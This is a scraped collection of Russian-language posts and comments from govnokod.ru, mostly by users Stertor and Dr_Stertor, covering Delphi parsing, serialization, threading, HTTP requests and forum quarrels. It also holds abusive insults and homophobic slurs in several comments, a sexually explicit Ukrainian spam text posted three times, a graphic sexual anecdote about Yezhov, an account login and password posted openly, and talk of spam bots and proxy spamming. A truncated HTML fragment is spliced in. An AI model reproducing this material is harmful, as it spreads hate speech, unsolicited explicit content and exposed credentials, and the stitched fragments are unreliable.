  2699. Одно дело, если ты работаешь в группе, и совсем другое, когда пишешь в одиночку.
  2700.  
  2701. Термин "формошлепство" меня убивает; мир все-таки эволюционирует, пора переходить на удобные среды. Если какому-то обросшему бородатому хакерюге, которого эволюция обошла стороной охота пялиться в голубой экран 800x600 и кодить в консольном компиляторе, это его проблемы, а не хочу полжизни потратить на один только интерфейс.
  2702.  
  2703. ########## Stertor: comment http://govnokod.ru/14249#comment205396 ##########
  2704. Бред сивой кобылы, только это чего стоит:
  2705. Конденсатор - это накопитель энергии (накапливае электрический заряд). Конденсатор может выступать в роли генератора, например часто в различных электронных схемах, например в электронных реле времени, он используется в генераторах импульсов. Конденсаторы, как генераторы импульсов испольуются и в некоторых металлообрабатывающих, например в электроискровых.
  2706. Он не указывает к тому же тип используемого конденсатора.
  2707.  
  2708. ########## Stertor: comment http://govnokod.ru/13792#comment197666 ##########
  2709. Кто-нибудь может подсказать реализацию "корзины" на Делфи?
  2710. Сохранять/восстанавливать нужно следующие свойства:
  2711. имя файла, его размер и дату помещения.
  2712. Я в принципе сделал - создается класс, который впоследствие записывается в файл с помощью tfilestream. Имя помещаемого файла - string[255], записывается так:
  2713. stream.write(filename,sizeof(filename)),
  2714. читается так же. Но есть одно огро-о-омное "НО":
  2715. имя файла может быть и больше 256 символов - велик риск остаться с расширенным очком, а по-другому никак не получается сохранить string. Может, кто подскажет?
  2716.  
  2717. ########## Stertor: comment http://govnokod.ru/14307#comment208929 ##########
  2718. Хм. В делфи регекспом я никогда не пользовался(ибо не разумею), располагая лишь базовыми строковыми функциями. Может, убрать регулярку вообще, и искать между двух токенов?
  2719. http://ip.spys.ru/, </u></font></td></tr><tr><td colspan=10><font class=spy1>Прокси не найден или используется высокоанонимный прокси</font></td></tr><tr>
  2720.  
  2721. можно вот так:
  2722. <font class=spy1>Прокси не найден или используется] высокоанонимный [прокси</font>
  2723. т.е. искать слово "высокоанонимный" между этими двумя разделителями. Из текста нужно вырезать все символы перевода строки, иначе функция-парсер, может споткнуться.
  2724.  
  2725. ########## Stertor: comment http://govnokod.ru/14310#comment208726 ##########
  2726. Ну, возникает аналогия. Представьте, если бы 2 бота ходили по сайту и комментировали всего лишь 2 словами: "тонко" и "толсто" (по рандому, причем нельзя отвечать на коммент тем же словом, которое уже в нем встречается, например "толсто" на "толсто" ). И вот, если бы 1 бот увидел коммент второго бота, произошло бы зацикливание - один пишет : "тонко", второй тут же прочел и тоже комментирует: "толсто" - так как иного ответа быть не может, и так до бесконечности. Естественно, что сайт бы при этом упал.
  2727.  
  2728. ########## Stertor: comment http://govnokod.ru/14304#comment208155 ##########
  2729. >>облегчил работу спецслужбам
  2730. А не по их ли заказу он создал вк? Когда стадо в куче, за ним легче наблюдать. Можно контролировать каждый свой шаг в соцсетях, не писать лишнего, не публиковать личных данных - но это превращается в пытку уже через пару часов. Можно писать что угодно, публиковать что угодно, не опасаясь санкций со стороны администрации - но может настать тот роковой день, когда твоя анкета будет вскрыта по требованию спецслужб - тогда тебе не поздоровится.
  2731.  
  2732. ########## Dr_Stertor: comment http://govnokod.ru/21929#comment365236 ##########
  2733. Наверно, это оттого, что я - самоучка. До многого дошёл сам, спросить было не у кого, опыта нет ,MSDN - лажа. Интерес к серьезному кодингу проснулся слишком поздно, я тогда был уже был на старших курсах медшаражки. Свернуть с рельс не мог.
  2734.  
  2735. @каждую мелкую хуйню спрашиваешь
  2736. Мне очень помогли товарищи, борманд, d... ++, 1024--. Инканус, кегги, тарас и роман кашицын иногда давали ценные советы.
  2737. Кстати, не так давно я затронул тему сериализации данных - оказалось, что это далеко не тривиальная задача.
  2738.  
  2739. ########## Stertor: comment http://govnokod.ru/14491#comment215893 ##########
  2740. procedure parseall(steg,temp,eteg:string; list:tstringlist; capture:boolean=false; trimstr:boolean=false); var parsed:string; st,ed:integer; lst,led:integer; begin st:=0; ed:=0; lst:=length(steg); led:=length(eteg); if (lst=0) or (led=0) then exit; // если нет разделителей - выход из процедуры while (true) do // Крутим цикл, пока имеются вхождения тега с заданной позиции begin st:=posex(steg,temp,st+1); // первое вхождение начального тега в строке if st <1 then break; // Не найден тег? Выход из процедуры. st:=st+lst; // к позиции начального тега прибавляется его длина ed:=posex(eteg,temp,st); // 1 вхождение завершающего тега if ed <1 then break; // Не найден тег? Выход. if not capture then // Захватывать вместе с тегами? parsed:=copy(temp,st,ed-st) else parsed:=copy(temp,st-led,(ed+led)-(st-lst)); if trimstr then // Удалить пробелы в начале и с конца? parsed:=trim(parsed); list.Add(parsed); if (steg=eteg) then // чтобы не хватать лишнее, если начальный тег равен завершающему, например, " st:=ed; end; end;
  2741.  
  2742. Не быдлокод ли это? Претензий к скорости нет.
  2743.  
  2744. ########## Stertor: comment http://govnokod.ru/14093#comment201821 ##########
  2745. А как можно оптимизировать такой момент:
  2746. Имеется tobjectlist заполненный элементами.Мы в цикле получаем элементы списка, и в зависимости от свойств этого объекта (через дженерики) заполняем listview (т.е. в зависимости от свойств объекта меняется иконка и caption) и внедряем в один из subitems ссылку на этот объект. Все вроде ничего, но если лист содержит более 1000 элементов, начинает тормозить ( Я пробовал просто заполнять listview, не тормозит.
  2747. Если делфи так медленно работает с памятью, я сильно ошибся языком.
  2748.  
  2749. ########## Dr_Stertor: post http://govnokod.ru/21780 ##########
  2750. Если свойство должно только читаться или записываться, в его описании может присутствовать соответствующий метод:
  2751.  
  2752. type
  2753. TAnObject = class(TObject)
  2754. property AProperty: TSomeType read GetValue;
  2755. end;
  2756.  
  2757. ---------- description ----------
  2758. В этом примере вне объекта значение свойства можно лишь прочитать; попытка присвоить свойству AProperty значение вызовет ошибку компиляции.
  2759. Для присвоения свойству значения по умолчанию используется ключевое слово default:
  2760. [code] property Visible: boolean read FVisible write SetVisible default True;
  2761. Это означает, что при запуске программы свойство будет установлено компилятором в True
  2762.  
  2763. {Из учебника для долбоёбов, под авторством ***}
  2764.  
  2765. ########## Stertor: comment http://govnokod.ru/14293#comment207207 ##########
  2766. Пост не читал, но осуждаю.
  2767. До сих пор гк идеальный сайт за счет того, что модерацию комментариев доверили самим участникам - если тебя заминусовали, уж никуда не денешься, значит сам виноват, запостил хуйню - боты не в счет. Какие гарантии, что на новом форуме не будет тупых модераторов-замполитов, вроде тех, что превратили Цыберфорум в большую кучу дерьма? Так что, нет, я не пойду на форум, меня вы на там не увидите, да и чувствую я, что вы особо и не опечалитесь этим, правда?
  2768.  
  2769. ########## Stertor: comment http://govnokod.ru/13922#comment199327 ##########
  2770. Тогда ваша затея обречена на провал, это я вам гарантирую. Не потому, что я так уж люблю гоатсе, а потому, что извращаться можно сколько угодно: псевдографичное гоатсе содержит до кучи символов, его можно сколько угодно раз изменять, модифицировать. Ведь нет стандарта на гоатсе, я прав? Можно запостить хуйню, весьма отдаленно напоминающее гоатсе, участники посмотрят и поймут, что это, а свиток достанет трубку, кисет, набъет самокрутку и чиркнет спичкой о сапог.
  2771.  
  2772. ########## Stertor: comment http://govnokod.ru/18345#comment290453 ##########
  2773. Такое ощущение, что тебя кто-то анально обидел - и вот, ты бросил любимый кути и пришёл сюда, чтобы возвыситься в собственных глазах путём поливания кого-то нечистотами... Тебе приводили аргументы, указывали на твою неправоту, но ты и слушать ничего не хочешь, перескакиваешь с первого на десятое, подменяешь аргументы, оскорбляешь собеседников.
  2774.  
  2775. Мы для тебя ватники? Отлично, вали на Украину свою, там тебя обнимут и расцелуют - вывалят толстый хуй и заставят нюхать.
  2776.  
  2777. ########## Stertor: comment http://govnokod.ru/14388#comment212389 ##########
  2778. Я не говорил, что я светило вселенной, это во- первых. Во-вторых, когда человек просвещен - это сразу видно, нет необходимости что-то кому-то доказывать. К тому же я не смогу используя форум впихнуть тебе в голову мудрость их всех книг, мной прочитанных(чтобы ты убедился, что я действительно их прочитал) даже если очень захочу. Ты должен читать сам. Читай классиков, там пошлости поменьше.
  2779.  
  2780. >>Нет, я считаю тебя человеком, ослепленным своим ЧСВ
  2781. А в чем это выражается? Поясни.
  2782.  
  2783. ########## Dr_Stertor: comment http://govnokod.ru/21964#comment365967 ##########
  2784. В этот раз Ежов напился хуже обычного. Они слушали граммофон, а после ужина легли спать. Как рассказал Константинов: «Едва я разделся и лег в кровать, смотрю — Ежов лезет ко мне и предлагает заняться педерастией. Меня это ошеломило, и я его оттолкнул, он перекатился на свою кровать. Только я уснул, как что-то почувствовал во рту. Открыв глаза, вижу — Ежов сует мне в рот член. Я вскочил, обругал его и с силой отшвырнул от себя, но он снова полез ко мне с гнусными предложениями»
  2785.  
  2786. ########## Stertor: comment http://govnokod.ru/13306#comment186434 ##########
  2787. Ты хорош словоблудить, а подумал ли ты, сколько сил и энергии отдали Андерс Хейлсберг со товарищи, чтобы изваять из такого низкоуровневого языка, как ассемблер этот чудесный компилятор? Небось не спали ночами. А ведь кроме разработки есть еще и семья. Деньги в расчет не беру - это не главное. Хороший программист получает удовлетворение не столько от оплаты труда, сколько от осознания, что то, над чем он работал - не быдлокод, а программа, скроенная на совесть.
  2788.  
  2789. ########## Stertor: comment http://govnokod.ru/14218#comment204127 ##########
  2790. Спс, я попробую. Я пишу дезинфектор(копию вам высылал на почту), поток перемещает вирус в карантин, под рандомным именем, и тут же заносит в стрим инфу:
  2791. * имя файла
  2792. * размер
  2793. * дата помещения
  2794. все это делается через критическую секцию, но опасность в том, что если юзер во время сканирования вздумает обновить содержимое карантина, то произойдет возможное обращение из 2 потоков к 1 стриму, со всеми вытекающими. В synchronize тем более нельзя, форма зависнет. Вот и изобретаю всякую х..
  2795.  
  2796. ########## Stertor: comment http://govnokod.ru/18528#comment294207 ##########
  2797. Мой друг стал пидором, потому, что у него сломался душ. Господи, какая глупость - душ сломался! Но в реале всё оказалось куда серьезнее: очевидно, он мылся струёй сзади, и пробудил у себя анальное чувство: ему захотелось попробовать член. Поначалу я ничего за ним не замечал, но потом выяснилось, что он усиленно пидорствует, ищет мужчин в соц. сетях и отдаётся им. Эмоционально и психически он тоже изменился, стал невыносим. Мы живём в одном городе, но не общаемся.
  2798.  
  2799. ########## Stertor: comment http://govnokod.ru/13593#comment191360 ##########
  2800. Ну, все таки я думаю что это правильнее. Читать строки в цикле с не ридонли мемо - уже идиотизм (за исключением когда нужно считать строки например в tstringlist - это делается за мгновения), а если цикл замедленный (в моем случае прога читает строку и отправляет запрос на сайт. Задержка как минимум 10-20 сек)-то, что цикл приостанавливается лучше - в итоге будет прочитан текст с момента последней модификацией. Пусть пользователь пока разберется, что он хочет, а мы подождем-с.
  2801.  
  2802. ########## Stertor: comment http://govnokod.ru/14266#comment206044 ##########
  2803. В целом согласен, но 600 мегов - это толсто. Федора/кУбунту на момент, когда я их скачивал весили почти пару гигов. В семерке, как я думаю, очень много кода ушло на всякие визуальные эффекты, которые никому нах не сдались (сотрудники майкрософт должно быть носят розовые контактные линзы ) и лишь транжирят оперативку. У меня лично в семерке отключены все-все визуальные эффекты. вплоть до анимации меню и стоит классическая тема с синим фоном рабочего стола.
  2804.  
  2805. ########## Stertor: comment http://govnokod.ru/13873#comment198466 ##########
  2806. Помню, писал скинизацию для свой проги, при тестировании оказалось, что на win2000 нет библиотеки тем uxtheme.dll, прога падала. Можно было тупо забить на 2000: подумаешь, у
  2807. кого она еще стоит, главное, чтобы прога на xp/vista/7 шла, и т.п. -
  2808. но я не такой человек! Пришлось упорно колдовать. Окончательный вариант: прога определяет версию ОС и в зависимости от
  2809. этого включает ту или иную отрисовку.
  2810. Кстати, Delphi 7 работает начиная с win98 и кончая семеркой, а вот Delphi 2009 и все последующие - уже нет, так как они юникодные.
  2811.  
  2812. ########## Stertor: comment http://govnokod.ru/22813#comment383583 ##########
  2813. Я начав дрочить 5 років и одівав мамини и сестрів труси и
  2814. нюхав и крав сосідів труси и капронові колготки в 50 шт трусив
  2815. було мені зарас 45років маю жинку и ще дрочу и одиваю жиночі
  2816. труси и нюхаю и лижу грезні труси жинк итещи теща знає що я дрочу
  2817. инюхаю її труси тодиваю ткща навмисни скідає передімною труси ая биру
  2818. и нюхаю и дрочу перед тещом вночи коли всі сплят я лижу тещі пизду вона тече
  2819. приятній вкус но коли я прошу шоб теша дала лизати пизду то вона кажи що вона стара її78 років
  2820.  
  2821. ########## Stertor: comment http://govnokod.ru/22814#comment383582 ##########
  2822. Я начав дрочить 5 років и одівав мамини и сестрів труси и
  2823. нюхав и крав сосідів труси и капронові колготки в 50 шт трусив
  2824. було мені зарас 45років маю жинку и ще дрочу и одиваю жиночі
  2825. труси и нюхаю и лижу грезні труси жинк итещи теща знає що я дрочу
  2826. инюхаю її труси тодиваю ткща навмисни скідає передімною труси ая биру
  2827. и нюхаю и дрочу перед тещом вночи коли всі сплят я лижу тещі пизду вона тече
  2828. приятній вкус но коли я прошу шоб теша дала лизати пизду то вона кажи що вона стара її78 років
  2829.  
  2830. ########## Stertor: comment http://govnokod.ru/22817#comment383581 ##########
  2831. Я начав дрочить 5 років и одівав мамини и сестрів труси и
  2832. нюхав и крав сосідів труси и капронові колготки в 50 шт трусив
  2833. було мені зарас 45років маю жинку и ще дрочу и одиваю жиночі
  2834. труси и нюхаю и лижу грезні труси жинк итещи теща знає що я дрочу
  2835. инюхаю її труси тодиваю ткща навмисни скідає передімною труси ая биру
  2836. и нюхаю и дрочу перед тещом вночи коли всі сплят я лижу тещі пизду вона тече
  2837. приятній вкус но коли я прошу шоб теша дала лизати пизду то вона кажи що вона стара її78 років
  2838.  
  2839. ########## Stertor: comment http://govnokod.ru/14248#comment205509 ##########
  2840. >>А если паяльник все-таки гальванически развязан с сетью
  2841. Это уже отдельная тема. Тогда да, можно заземлять.
  2842.  
  2843. >>> автотрансформатор
  2844. Та же дрянь, что и конденсатор. Не дает гальванической развязки
  2845. А при чем тут гальваническая развязка?!
  2846. http://govnokod.ru/14249#comment205403 - не ваш пост? Читайте вторую строчку.
  2847.  
  2848. >>На любой паяльной станции
  2849. Спустись на землю, бро. Лично у меня нет паяльной станции, но насколько знаю, там как раз таки есть гальв. развязка. Я говорю про обычные халтурные паяльники.
  2850.  
  2851. ########## Stertor: comment http://govnokod.ru/13729#comment194639 ##########
  2852. >>(кстати с чего ты взял, что сам не один из них?)
  2853. Да хотя бы с того, что я не программист. Моя работа абсолютно никак не связана с компьютерами/программированием. А если подойти к вопросу с иной точки зрения, то прежде чем что-то сделать я читаю справку и тщательнейшим образом обдумываю каждый шаг (иногда на это уходят дни), а не действую экспромтом, аля Агата Кристи: заправил а4 в компилятор, а дальше как сюжет вывезет. Ты призадумайся, друг, призадумайся.
  2854.  
  2855. ########## Stertor: post http://govnokod.ru/18524 ##########
  2856. Вот это скорее всего.
  2857. Выделяю память и проверяю в серверном потоке.
  2858. Если выделена успешно, пишу туда вх.пакет и передаю из серверного потока указатель
  2859. как один из параметров в сообщении основному окну (с помощью PostMessage(...).
  2860. Смущает, что транслятор требует преобразовать указатель к long.
  2861. При получении копирую пакет для обработки и освобождаю память. Перед обращением по указателю проверяю на NULL.
  2862. Скорее всего где-то тут. Но где, не пойму.
  2863.  
  2864. Jnc.lf: http://forum.sources.ru/index.php?showtopic=326346&st=15
  2865.  
  2866. ---------- description ----------
  2867. Мама, роди меня обратно.
  2868.  
  2869. [Muzofon]
  2870. http://u.to/vAvzCw
  2871.  
  2872. ########## voodoodal16: post http://govnokod.ru/21339 ##########
  2873. //AntiAcver должен быть первым юнитом в главной форме.
  2874. //Сергей, Вы любезный человек. Надеюсь, Вы не обидитесь.
  2875.  
  2876. unit AntiAcver;
  2877.  
  2878. interface
  2879. uses Windows, SysUtils;
  2880.  
  2881. procedure CheckParam;
  2882.  
  2883. implementation
  2884.  
  2885. procedure CheckParam;
  2886. var
  2887. S:string;
  2888. begin
  2889. if paramstr(1) <> '' then
  2890. begin
  2891. S:=Copy(ParamStr(1),2,2);
  2892. if SameText(S,'AC') then
  2893. MessageBox(0, PChar(Format('Что-то я не припомню, чтобы добавлял ключ ''%s' в свой код'.',[ParamStr(1)])), PChar('Че за хуйня'),16);
  2894. ExitProcess(0);
  2895. end;
  2896. end;
  2897.  
  2898. initialization
  2899. CheckParam;
  2900.  
  2901. finalization
  2902.  
  2903.  
  2904. end.
  2905.  
  2906. ---------- description ----------
  2907. Заглушка для недокументированных ключей AlphaSkins (alphaskins.com).
  2908.  
  2909. Преамбула.
  2910. Увлекся скинизацией, скачал скины, поставил. Оказалось, что альфаскин добавляет в прогу несколько обработчиков, в частности, ключа "/acver" - выводит messagebox с версией скина. Так как об этой особенности нигде не написано, я сразу же написал заглушку.
  2911.  
  2912. ########## Stertor: post http://govnokod.ru/13234 ##########
  2913. function TForm1.Pars(T_, ForS, _T: string): string;
  2914. var a, b:integer;
  2915. begin
  2916. Result := '';
  2917. if (T_='') or (ForS='') or (_T='') then Exit;
  2918. a:=Pos(T_, ForS);
  2919. if a=0 then Exit else a:=a+Length(T_);
  2920. ForS:=Copy(ForS, a, Length(ForS)-a+1);
  2921. b:=Pos(_T, ForS);
  2922. if b>0 then
  2923. Result:=Copy(ForS, 1, b - 1);
  2924. end;
  2925.  
  2926. ---------- description ----------
  2927. Давно хотел выложить эту дуру на форум.
  2928. В чем лажа? Я подозреваю, что перегруженный оператор '=' применительно к строкам (сравнение двух строк) это вызов lstrcmp.
  2929. следовательно, POS ЧУВСТВИТЕЛЬНА к регистру!! Это значит, что функция вернет фалс, сравнивая ВоТ эТО и вот это.
  2930. Но это полбеды. Иные горемыки передают ей километровый текст в качестве шаблона - это нормально.
  2931.  
  2932. И потом еще кто то наивно удивляется, почему функция пропускает нужное или хватает лишнее.
  2933.  
  2934. ########## Stertor: comment http://govnokod.ru/13961#comment200634 ##########
  2935. само слово "кроссплатформенность" в текущем состоянии дел вызывает ассоциации примерно такие: пациент вместо горшка (утка занята другим пациентом) мочится в кружку, и медсестра ее выносит.
  2936.  
  2937. До тех пор, пока не будет жестко-строгого стандарта на внутренее устройство оп.систем, никакой кроссплатформенности не будет. А что происходит сейчас ничто иное как игра в кроссплатформенность.
  2938. Обилие гомосексуалистов - яркое тому подтверждение.
  2939.  
  2940. ########## Stertor: comment http://govnokod.ru/14379#comment212429 ##########
  2941. Я о тебе положительного мнения, т.к. объясняю твое вызывающее поведение упрямством: я сам такой. Упрямство вкупе с гордыней, к сожалению, часто способствует слишком позднему признанию своих ошибок; в перспективе - отсутствие друзей и невозможность работы в коллективе. В идеале эти качества (заметь, качества, а не недостатки!) нужно направлять в нужное русло - например, усерднее учиться. Если же я ошибаюсь, то... суди себя сам. Ты взрослый человек.
  2942.  
  2943. ########## Stertor: comment http://govnokod.ru/13931#comment199943 ##########
  2944. Я не профессиональный программист, и пишу относительно простые проги и то в случае необходимости. Для меня нет смысла учить с++ и подобные ему языки, только ради того, чтобы в программе все было "по-взрослому" и ебать себе мозг с MFC и утечками памяти. В дельфе меня все устраивает. Форма готовая, компоненты готовые, есть поддержка скинов. Более того, даже после базового изучения Делфи мне стало намного легче и понятнее работать с другими языками.
  2945.  
  2946. ########## void_main: comment http://govnokod.ru/20870#comment347791 ##########
  2947. >Он так аккуратно постит свои комментарии каждый раз, чтобы не переполнить сток
  2948.  
  2949. В корне неверное утверждение. Сайт регулярно падает от его запросов, сегодня упал как минимум, 4 раза. Очевидно, у него асинхронный клиент, либо он не одолел синхронизацию. Обилие ботов затрудняет их использование. Сэм и рад бы бомбануть тысячами ботов - но нельзя, сайт не пустит, поэтому он постепенно, видимо ручками, доминусовывает, небольшими порциями ботов.
  2950.  
  2951. ########## Stertor: comment http://govnokod.ru/18291#comment289496 ##########
  2952. Каждый раз когда кто-то где-то говорит о типизации, на волю из кащенки выбегает один поциент и начинает вещать о том, что статическая типизация может быть нестрогой.
  2953.  
  2954. Дорогой поциент! Мы все как-бы в курсе что правила того, что во что кастится не имеют никакого отношения ко тому, когда именно эта проверка выполняется: в рантайме или в моменте компиляции/трансляции.
  2955.  
  2956. Можете смело возвращаться в свои пинаты, пить опипромол и ложиться спать.
  2957.  
  2958. ########## Stertor: comment http://govnokod.ru/13683#comment193338 ##########
  2959. HTTP/1.1 500 Internal Server Error
  2960.  
  2961. Да, я так и делаю: снифаю, потом составляю запрос. Реферер тоже учел.
  2962. Как я понял, происходит следующее: юзер заходит на страницу, вводит свои рег. данные затем исполняется свиток, и перенаправляет нас на нужную страницу. Но в моем случае почему-то не прокатывает.
  2963.  
  2964. И еще один вопросик. В заголовке запроса написано следующее:
  2965. POST http://www.<доменное имя>/?r=0.7682170964630175 HTTP/1.1
  2966. Когда же я отсылаю свой запрос (Indy 10, idhttp) то в логах сниффера версия протокола бывает HTTP/1.0... Интересно, что я делаю не так?
  2967.  
  2968. ########## Stertor: comment http://govnokod.ru/13857#comment197934 ##########
  2969. Молодой программист устраивается на работу.
  2970. -Мы рады приветствовать вас в нашем офисе! Надеемся, вы будете хорошим сотрудником и оправдаете наши надежды.
  2971. -О, кайф...
  2972. -Познакомиться с сотрудниками вы сможете позже, а сейчас пройдемте в вычислительный центр, где вам предстоит работать.
  2973. -О, кайф...
  2974. -Вот - на этих современных машинах вам предстоит работать.
  2975. -О,кайф...
  2976. -Простите, а вы какие нибудь еще другие слова знаете?
  2977. -Секс.
  2978. -Секс? А что такое "секс"?
  2979. -О, кайф...
  2980.  
  2981. ########## Stertor: comment http://govnokod.ru/18096#comment286506 ##########
  2982. Не корми его, Вася. Хватит. На голову его посадили, и путь его к макушке был долгим: сперва он пытался создать впечатление анально обиженного политического эмигрантишки, чередуя оскорбления, шантаж и провокации с периодами относительной адекватности, потом и вовсе оказалось, что мы все гандоны, а он - самый, что ни на есть, вылитый Д'Артаньян. Так вот, милостивый государь, меня такая Ваша политика не устраивает. Иди-ка ты на хуй. Обнаглел.
  2983.  
  2984. ########## Stertor: post http://govnokod.ru/13714 ##########
  2985. Товарищи, недавно у меня была возможность покодить на арестованных сях: синтаксис в принципе
  2986. не очень сложный, да и возможности широкие.
  2987. Так вот, у меня возник вопрос: стоит ли учить си-за-решеткой в противовес Delphi 8 (идет под .NET)?
  2988. Дело в том. что Си для меня язык новый, а с Delphi я более менее знаком.
  2989.  
  2990. Хочу заранее попросить: пожалуйста, никаких споров о преимуществах языков.
  2991. Вопрос стоит не о том, что лучше, а о том, сравним ли по возможностям компилятор Delphi 8 .NET с C#.
  2992.  
  2993. ---------- description ----------
  2994.  
  2995.  
  2996. ########## Stertor: comment http://govnokod.ru/18083#comment284063 ##########
  2997. Дык это моя обязанность - писать тупые школьные комменты, я ж тролль ;) Отрадно, что мои комменты на плаву; так они смогут поднять настроение многим людям. Как видишь, я вернулся на старую учетку, хотя мог зарегать новую. Иной раз мне удавалось отвести обсуждение темы в сторону, всего навсего одной фразой или вопросом - но сейчас всем похуй. А что сделал ты?.. сохранил анальную девственность до старости? Вы тут варитесь в собственном соку.
  2998.  
  2999. ########## Stertor: comment http://govnokod.ru/14305#comment208397 ##########
  3000. Спор переходит в банальный троллинг (достаточно тонкий, поэтому не заметный невооруженным глазом, но мне виднее - уж поверьте)
  3001. На будущее: чтобы отличить спор от троллинга, каждый раз задавайте себе вопрос: Чем является предмет спора? Что обсуждается?!
  3002. Ленин сказал так: "...Полемизируйте как угодно резко, но держите предмет спора всегда на виду."
  3003.  
  3004. Не стоит полемизировать дальше, товарищи, остановитесь - предмет спора давно потерян.
  3005.  
  3006. ########## Stertor: comment http://govnokod.ru/14325#comment210812 ##########
  3007. Обосную. Страсть к стильным штучкам аки девайсы от Apple граничит с метросексуальностью(смесь эгоизма, упоротости, пидорства и еще нескольких малоприятных качеств). Тру пацаны этим не страдают.
  3008. >> окажется сильным,
  3009. т.е. ты противопоставляешь к слабости?
  3010. На заметку: лупят и вытирают ноги не об слабых, а об трусливых. {CompilerIF оппонент не упорот} Если ты найдешь в себе мужество сказать перечисленное выше в лицо оппоненту, он даже зауважает тебя.{CompilerENDIF}
  3011.  
  3012. ########## Stertor: comment http://govnokod.ru/17995#comment282669 ##########
  3013. Я - гламурный тролль, только через прокси спамлю.
  3014. Тор неудобно таскать, тем более, функционал проги пустяковый. По аналогии со строительством хрущоб, имеется задача: обеспечить людей жильём в кратчайшие сроки. А какое это будет жилье - это уже выходит за рамки вопроса.
  3015. * * *
  3016. Этажки,кстати, украшают наш город. Вечером очень приятно глядеть, как светятся их окна. Но говорят, что зимой в них холодно. Да и не утаить ничего, звукоизоляции нет.
  3017.  
  3018. ########## Stertor: comment http://govnokod.ru/13779#comment195873 ##########
  3019. Если прикрутить к таврии кузов от 600, она не перестанет быть таврией - это я к тому, что если средств языка уже недостаточно, стоит перейти на другой.
  3020. Визуальный бейсик, по моему мнению, подходит тока для обучения; а если душа требует уже цветных кнопок, скинизации и тп - это уже разработка. Нужно учить другой язык.
  3021. Ну или можно продолжать извращаться перехватывая обработчики событий, как я в свое время. Аж передернуло, как вспомнил.
  3022.  
  3023. ########## Stertor: comment http://govnokod.ru/14087#comment201851 ##########
  3024. >>которым надо оценить, сколько бабла они подарят M$ (Oracle, RedHat, ненужное зачернуть)
  3025.  
  3026. Нет ""отечественных" "аналогов"" - пусть дарят деньги забугорщикам. А для того, чтобы понять, почему нет аналогов, нужно сначала ответить на вопрос: почему у нас все лучшие умы сбегают на запад? Бля, да потому, что тут в России они нах никому не нужны, как и произведения их ума. Попробуйте искоренить это - и винда будет бесплатной, а на делфи станут писать аналоги MS-paint-а.
  3027.  
  3028. ########## Stertor: comment http://govnokod.ru/15557#comment222341 ##########
  3029. На gmail.com именно так.
  3030. Запрещено отсылать запароленные архивы, исполняемые и еще некоторые типы файлов.
  3031.  
  3032. Я заметил, что сервер пытается парсить текст письма (!) , подставляя полученные токены в качестве пароля к архиву. Он делает это с целью расшифровать запароленный архив, чтобы посмотреть, какие файлы он содержит. В частности, архив, содержащий вот такую приписку:
  3033. archive.rar привет, посылаю тебе архив. пароль - 99472
  3034. будет распакован и проверен.
  3035.  
  3036. ########## void_main: comment http://govnokod.ru/20851#comment346509 ##########
  3037. А вот точно то же самое. Никаких поправок. Та же программа.
  3038.  
  3039. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Говнокод #20853 — Куча — Говнокод.ру</title> <meta name="keywords" content="говнокод, смешной код, быдлокод, быдлокодеры, индусы, для программистов, про программистов, индусский код, записки программиста, говно, говнокод на php, mysql, perl" /> <meta name="description" content="Прошу сильно не пинать. Пытаюсь приспособить свой пожилой вайпер для скрытия следов жизнедеятельности багров. Бот будет отвечать на каждое спамное сообщение, чтобы убрать его со стока." /> <meta property="og:image" content="http://govnokod.ru/images/brand.gif" /> <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" /> <link rel="icon" href="/animated_favicon.gif" type="image/gif" /> <link rel="stylesheet" href="/css/style.css?v=4" media="all" type="text/css" /> <!--[if lte IE 7]><link href="/css/ie.css" rel="stylesheet" type="text/css"><![endif]--> <li
  3040.  
  3041. ########## Stertor: comment http://govnokod.ru/13699#comment193812 ##########
  3042. >>у этого "тролля" махом попец пригорает, чуть что - обижается, бежит жаловаться маме
  3043.  
  3044. Ничего подобного. Да и если бы было так, чем бы вы мне помогли, погладили бы по головочке? Я просто расставил ловушку, в надежде, что это прочтут на программерсфоруме. По той же причине повысил рейтинг - чтобы пост подольше повисел. Но теперь моя цель достигнута, я читаю логи.
  3045. Анонимб, если у тебя еще есть минусатор, можешь заминусовать этот пост.
  3046.  
  3047. ########## Stertor: comment http://govnokod.ru/15557#comment222232 ##########
  3048. Интегрируют вендоры взламываемого софта, чтобы юзерам неповадно было скачивать кейгены.
  3049. К примеру, аваст (и еще несколько ав, под которые есть кейгены) определяет свои кейгены как трояны, под страшными именами, вроде "win32:zlob" (к слову, один из самых опасных троянов), на поверку же оказывается, что это не более, чем хитрый умысел авторов антивируса. Кашпер вообще кейгены не палит, потому, что их и нет под него - нет смысла извираться.
  3050.  
  3051. ########## Stertor: post http://govnokod.ru/13227 ##########
  3052. Судя по Вашим оценкам, образцы моего кода не так у ж и плохи. Это радует; но в таком случае, получается, что я ошибся форумом.
  3053. Если это действительно так, я спешу сменить амплуа г.кодера.
  3054. Непонаслышке зная, что бан тут получить практически нереально, я все таки сделаю отчаянную попытку:
  3055.  
  3056. Логин: [email protected]
  3057. Пароль: gcode116
  3058.  
  3059. Я желаю Вам всего самого наилучшего. С Вами было весело.
  3060. За сим, остаюсь, ваш Stertor. Списаться со мной можно по вышеуказанному адресу.
  3061.  
  3062. ---------- description ----------
  3063.  
  3064.  
  3065. ########## Stertor: post http://govnokod.ru/13693 ##########
  3066. Товарищи, стоит задача: найти количество слов в строке.
  3067. Автор (http://programmersforum.ru/showthread.php?p=1269850#post1269850) просто делит строку по пробелам, затем
  3068. подсчитывает кол-во слов.
  3069. Я же, говорю, что такой подход НЕПРАВИЛЕН, т.к. в русском
  3070. языке (да и не только) слова разделяются символами пунктуации, которые сами в состав слова не входят - следовательно, делить нужно по ним:
  3071. [code]" ' . , ! ?: ; - + <пробел> <табуляция> ( )[code]
  3072. На меня сразу же наехали и поудаляли мои сообщения. Неужели я не прав?
  3073.  
  3074. ---------- description ----------
  3075. Баян все еще там: http://programmersforum.ru/showthread.php?p=1269850#post1269850
  3076.  
  3077. ########## Stertor: post http://govnokod.ru/13841 ##########
  3078. Цикл для игр
  3079.  
  3080. ' Декларируем APi
  3081.  
  3082. Public Declare Function LockWindowUpdate Lib "user32" _ (ByVal hwndLock As Long) As Long ' Для тех кто рисует стандартными функциями (Чтоб немерцало)
  3083. ' Для цикла
  3084. Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
